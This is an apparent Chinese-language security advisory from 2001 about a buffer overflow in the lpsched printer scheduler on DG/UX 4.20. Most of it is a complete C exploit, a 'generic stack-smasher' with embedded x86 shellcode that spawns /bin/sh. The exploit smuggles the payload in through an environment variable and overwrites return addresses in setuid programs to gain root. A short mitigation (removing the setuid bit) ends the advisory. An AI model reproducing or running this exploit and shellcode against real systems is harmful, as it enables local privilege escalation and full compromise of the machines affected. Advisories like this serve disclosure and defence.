DG/UX lpsched存在超长错误信息的缓冲溢出漏洞

发布时间：2001-03-30
更新时间：2001-03-30
严重程度：高
威胁程度：本地管理员权限
错误类型：输入验证错误
利用方式：服务器模式

受影响系统

Data General DG/UX 4.20MU06
Data General DG/UX 4.20MU02

详细描述
DG/UX系统中的打印机进度程序对错误信息处理不正确，导致可以
允许任意命令的执行，通过提送一包含超长和不存在的主机名请求
给lpsched程序，就会造成缓冲溢出。

测试代码
/******************************************************************************
*        Stack Smasher by Luciano Rocha, (c) 1999                      *
*         for dgux (Data General's UN*X) on x86                        *
*                                          *
*    To compile: cc -o squash-dgux-x86 squash-dgux-x86.c              *
*                                          *
*    To use: squash-dgux-x86 <length> <program to squash> [params of prog] *
*            EGG [other params of prog]                  *
*                                          *
*    For a list of programs and their respective lengths see my home page, *
*        currently at http://strange.nsk.yi.org/                       *
*                                          *
*    My email: strange@nsk.yi.org                          *
*                                          *
*    Disclaimer: I take no responsability of whatever may result of using  *
*         this program nor I sugest ilegal use of it.              *
*            You are on your own.                      *
******************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>

char maker[] = "Generic stack-smasher for dgux-x86 by Luciano Rocha, (c) 1999.\n";

char sc[] = {
    'E', 'G', 'G', '=',
    0x33, 0xc0, 0x33, 0xc9, 0x80, 0xc1, 0x68, 0x66, 0x51, 0x66, 0x68, 0x2f,
    0x73, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x8b, 0xdc, 0x50, 0x53, 0x80, 0xc1,
    0xdf, 0x66, 0x51, 0x50, 0x66, 0xba, 0x90, 0x9a, 0x66, 0x52, 0x66, 0x68,
    0x33, 0xc0, 0x66, 0x51, 0x50, 0x66, 0x52, 0x66, 0x68, 0x90, 0x58, 0x66,
    0x51, 0x50, 0x66, 0x52, 0x8b, 0xcc, 0x8b, 0xd3, 0x81, 0xc2, 0xf8, 0xff,
    0xff, 0xff, 0x52, 0x52, 0x53, 0x50, 0x04, 0x11, 0x50, 0x51, 0x04, 0x25,
    0xc3, 0x00
};

int prepare2(int argc, char *argv[]) {
    int len, off;
    char *buff;

    if (argc < 4) {
        fprintf(stderr, "%s <size> <prog_to_smash> [args] EGG "
            "[args].\n", argv[0]);
        exit(1);
    }
    for (off = 1; off < argc && strcmp(argv[off], "EGG"); ++off);
    if (off >= argc) {
        fprintf(stderr, "%s: no EGG parameter specified. Aborting.\n",
                argv[0]);
        exit(1);
    }
    len = strtol(argv[1], NULL, 0);
    buff = (char *) malloc(len + 1);
    buff[len] = '\0';
    memset(buff, 0x90, len);
    putenv(sc);
    argv[off] = buff;
    execv(argv[0], argv+2);
    perror(argv[0]);
    return 1;
}

int dosquash(int argc, unsigned char *argv[]) {
    char *p;
    int pos, ptr;
    int *d;

    p = getenv("EGG");
    fprintf(stderr, "%s: EGG == %p, EGG[0] == 0x%x\n", argv[0], p, *p);
    pos = 1;
    while (argv[pos] && *argv[pos] != 0x90) ++pos;
    if (!argv[pos]) {
        fprintf(stderr, "%s: no place to squash...\n", argv[0]);
        exit(0);
    }
    d = (int *) argv[pos];
    ptr = (int) p;
    while (*d == 0x90909090) *d++ = ptr;
    execv(argv[0], argv);
    perror(argv[0]);
    return 1;
}

int main(int argc, char *argv[]) {

    if (getenv("EGG")) dosquash(argc, (unsigned char **)argv);
    else prepare2(argc, argv);
    return 1;
}

解决方案
去掉相应的S位。

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DG/UX lpsched存在超长错误信息的缓冲溢出漏洞